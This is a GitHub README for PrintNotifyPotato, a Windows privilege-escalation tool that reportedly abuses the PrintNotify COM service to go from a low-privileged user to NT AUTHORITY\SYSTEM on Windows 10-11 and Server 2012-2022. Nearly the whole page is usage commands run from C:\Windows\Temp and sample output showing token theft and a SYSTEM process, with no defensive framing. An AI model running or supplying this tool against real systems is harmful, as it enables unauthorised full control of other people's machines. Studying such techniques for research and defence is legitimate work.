beichendream/printnotifypotatoPrintNotifyPotato
PrintNotifyPotato
另一款 potato，利用 PrintNotify COM 服务进行权限提升
适用于 Windows 10 - 11、Windows Server 2012 - 2022
C:\Windows\Temp >PrintNotifyPotato.exe
aaaa aaa aaa
aaaa aaa aaa
aaaa aaa aaa
aaaa aaa aaa
aaaa aaa aaa
aaaa aaa aaa
aaaa aaa aaaaaaa aaaaaaa aaa aaaa
aaaaaaaaaaa aaaaaaaaa aaaaaaaaa aaa aaaa
aaaaaaaaaaa aaaa aaa aaaa aaaa aaa aaaa
aaaa aaa aaa aaaa aaaa aaaaaaa
aaaa aaa aaaaaaa aaa aaaaaaa
aaaa aaa aaaaaaaaa aaa aaaaaaaa
aaaa aaa aaaa aaa aaa aaa aaaa aaa
aaaa aaa aaa aaaa aaaa aaaa aaa aaaa
aaaa aaa aaa aaaaa aaaa aaaa aaa aaaa
aaaa aaa aaaaaaaaaa aaaaaaaa aaa aaa
aaaa aaa aaaa aaaa aaaaa aaa aaaa
Github: https://github.com/BeichenDream/PrintNotifyPotato
Example:
PrintNotifyPotato.exe whoami
PrintNotifyPotato.exe cmd interactive
C:\Windows\Temp >PrintNotifyPotato.exe whoami
[*] Create PrintNotify Success!
[*] Create FakeIUnknown Success!
[*] CreatePointerMoniker Success!
[*] Trigger......
[*] Got Token: 0x3d4
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] DuplicateTokenEx Success! PrimaryToken: 0x1016
[*] process start with pid 7272
nt authority\system
C:\Windows\Temp >
http://code.google.com/p/google-security-research/issues/detail?id=128
zcgonvh
https://github.com/antonioCoco/JuicyPotatoNG
https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/